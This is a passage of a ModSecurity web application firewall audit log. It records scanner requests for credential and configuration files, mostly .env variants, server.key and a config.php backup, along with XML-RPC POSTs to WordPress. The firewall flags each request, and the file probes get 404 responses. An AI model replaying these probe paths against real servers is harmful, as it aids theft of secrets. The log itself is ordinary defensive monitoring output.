3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.sample"] [unique_id "aE8spAmPiipnjM18nBT0zAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019236603630 645067 (- - -) Stopwatch2: 1750019236603630 645067; combined=1861, p1=375, p2=1384, p3=0, p4=0, p5=102, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f3f966e-Z-- --4f64e032-A-- [16/Jun/2025:01:57:33.510767 +0530] aE8stBQKR3lSdoPAzimBoAAAAAk 185.177.72.210 59998 127.0.0.1 7081 --4f64e032-B-- GET /:8443/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4f64e032-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=546d3c126b4ae5dcc4e12ce27d5ef2261750019253; expires=Sun, 15 Jun 2025 21:27:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4f64e032-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/developer/.env"] [unique_id "aE8stBQKR3lSdoPAzimBoAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019252798458 712385 (- - -) Stopwatch2: 1750019252798458 712385; combined=2453, p1=492, p2=1847, p3=0, p4=0, p5=113, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4f64e032-Z-- --e3db562b-A-- [16/Jun/2025:01:57:38.693036 +0530] aE8suo4fGN8g7lyBTW_10QAAAAM 185.177.72.210 60604 127.0.0.1 7081 --e3db562b-B-- GET /:10000/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e3db562b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a42c9d0123a39b303158ef7f2c3de4631750019258; expires=Sun, 15 Jun 2025 21:27:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e3db562b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/api/.env"] [unique_id "aE8suo4fGN8g7lyBTW_10QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019258031908 661216 (- - -) Stopwatch2: 1750019258031908 661216; combined=2277, p1=514, p2=1649, p3=0, p4=0, p5=114, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3db562b-Z-- --d3a13921-A-- [16/Jun/2025:01:57:41.845902 +0530] aE8svBQKR3lSdoPAzimBqQAAAAk 128.199.112.101 44014 127.0.0.1 7081 --d3a13921-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 487 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d3a13921-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d3a13921-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8svBQKR3lSdoPAzimBqQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019260892327 953631 (- - -) Stopwatch2: 1750019260892327 953631; combined=2270, p1=404, p2=1455, p3=45, p4=73, p5=182, sr=133, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3a13921-Z-- --81fde74b-A-- [16/Jun/2025:01:57:42.716477 +0530] aE8svl4QpUmzcAFMV3bWDwAAAAI 185.177.72.210 44050 127.0.0.1 7081 --81fde74b-B-- GET /.env.開発 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --81fde74b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=75f819eb98beb4ff277a7e9ab1da15741750019262; expires=Sun, 15 Jun 2025 21:27:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --81fde74b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe9\\\\x96\\\\x8b\\\\xe7\\\\x99\\\\xba"] [unique_id "aE8svl4QpUmzcAFMV3bWDwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019262022705 693834 (- - -) Stopwatch2: 1750019262022705 693834; combined=1969, p1=400, p2=1435, p3=0, p4=0, p5=133, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --81fde74b-Z-- --dc48cc37-A-- [16/Jun/2025:01:57:57.495349 +0530] aE8szEaRoH9PZO5fwRngawAAAAw 185.177.72.210 40760 127.0.0.1 7081 --dc48cc37-B-- GET /:9000/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dc48cc37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa0255f43cde06cf1154150d59d2cf311750019277; expires=Sun, 15 Jun 2025 21:27:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dc48cc37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/umgebung/.env"] [unique_id "aE8szEaRoH9PZO5fwRngawAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019276837762 657650 (- - -) Stopwatch2: 1750019276837762 657650; combined=1956, p1=369, p2=1458, p3=0, p4=0, p5=128, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dc48cc37-Z-- --7c290631-A-- [16/Jun/2025:01:58:03.628982 +0530] aE8s0o4fGN8g7lyBTW_13wAAAAM 185.177.72.210 60326 127.0.0.1 7081 --7c290631-B-- GET /ospfd.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7c290631-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=73c3b979c081c757a8cb4891483c94031750019283; expires=Sun, 15 Jun 2025 21:28:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7c290631-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/ospfd.conf"] [unique_id "aE8s0o4fGN8g7lyBTW_13wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019282920878 708180 (- - -) Stopwatch2: 1750019282920878 708180; combined=1659, p1=312, p2=1250, p3=0, p4=0, p5=96, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c290631-Z-- --14627960-A-- [16/Jun/2025:01:58:07.683699 +0530] aE8s14fvqn7_SDWw_wX9AAAAAAc 185.177.72.210 60520 127.0.0.1 7081 --14627960-B-- GET /:8008/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --14627960-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6a59baa3419fa9e48f367975b85a0ab1750019287; expires=Sun, 15 Jun 2025 21:28:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --14627960-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/developer/.env"] [unique_id "aE8s14fvqn7_SDWw_wX9AAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019287000918 682855 (- - -) Stopwatch2: 1750019287000918 682855; combined=1791, p1=368, p2=1269, p3=0, p4=0, p5=154, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14627960-Z-- --26f4ec4f-A-- [16/Jun/2025:01:58:15.302064 +0530] aE8s3rSOi14Mt1Fv4_TDIAAAAAo 185.177.72.210 45294 127.0.0.1 7081 --26f4ec4f-B-- GET /server.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --26f4ec4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dbcbb8545cf4724dd2ad777a013ffe161750019295; expires=Sun, 15 Jun 2025 21:28:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --26f4ec4f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/server.key"] [unique_id "aE8s3rSOi14Mt1Fv4_TDIAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019294631219 670928 (- - -) Stopwatch2: 1750019294631219 670928; combined=1910, p1=325, p2=1476, p3=0, p4=0, p5=108, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --26f4ec4f-Z-- --51b05748-A-- [16/Jun/2025:01:58:21.326191 +0530] aE8s5D3D4g1mGjVnV5KNnwAAAAY 185.177.72.210 46146 127.0.0.1 7081 --51b05748-B-- GET /.env.test.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51b05748-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6c749a4ad7bbab80477a0efdc871b3d1750019301; expires=Sun, 15 Jun 2025 21:28:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51b05748-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.test.local"] [unique_id "aE8s5D3D4g1mGjVnV5KNnwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019300660967 665285 (- - -) Stopwatch2: 1750019300660967 665285; combined=1659, p1=402, p2=1147, p3=0, p4=0, p5=110, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51b05748-Z-- --689de61b-A-- [16/Jun/2025:01:58:23.364550 +0530] aE8s5rSOi14Mt1Fv4_TDJQAAAAo 185.177.72.210 46236 127.0.0.1 7081 --689de61b-B-- GET /.env.docker.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --689de61b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=898d137d632fef2cdc3385ae3a82dde31750019303; expires=Sun, 15 Jun 2025 21:28:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --689de61b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.docker.dev"] [unique_id "aE8s5rSOi14Mt1Fv4_TDJQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019302716076 648537 (- - -) Stopwatch2: 1750019302716076 648537; combined=1688, p1=381, p2=1199, p3=0, p4=0, p5=107, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --689de61b-Z-- --c6a81c26-A-- [16/Jun/2025:01:58:27.636959 +0530] aE8s6kaRoH9PZO5fwRngewAAAAw 185.177.72.210 46484 127.0.0.1 7081 --c6a81c26-B-- GET /:8000/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6a81c26-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=66306bb04805d46d1995d919743748c31750019307; expires=Sun, 15 Jun 2025 21:28:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6a81c26-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env"] [unique_id "aE8s6kaRoH9PZO5fwRngewAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019306811120 825919 (- - -) Stopwatch2: 1750019306811120 825919; combined=1886, p1=355, p2=1420, p3=0, p4=0, p5=110, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6a81c26-Z-- --ba38df4e-A-- [16/Jun/2025:01:58:37.944626 +0530] aE8s9bSOi14Mt1Fv4_TDLAAAAAo 185.177.72.210 47542 127.0.0.1 7081 --ba38df4e-B-- GET /old/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ba38df4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d7db4a7ffc3fcd8469cf92955cba3ba41750019317; expires=Sun, 15 Jun 2025 21:28:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ba38df4e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/old/config.php.old"] [unique_id "aE8s9bSOi14Mt1Fv4_TDLAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019317282378 662325 (- - -) Stopwatch2: 1750019317282378 662325; combined=2431, p1=434, p2=1893, p3=0, p4=0, p5=103, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ba38df4e-Z-- --4a53a67b-A-- [16/Jun/2025:01:58:42.030935 +0530] aE8s-TZWrQ9Ly--lMo__6gAAAAE 128.199.112.101 43396 127.0.0.1 7081 --4a53a67b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4a53a67b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4a53a67b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8s-TZWrQ9Ly--lMo__6gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019321047048 983943 (- - -) Stopwatch2: 1750019321047048 983943; combined=2197, p1=397, p2=1378, p3=49, p4=70, p5=187, sr=101, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" 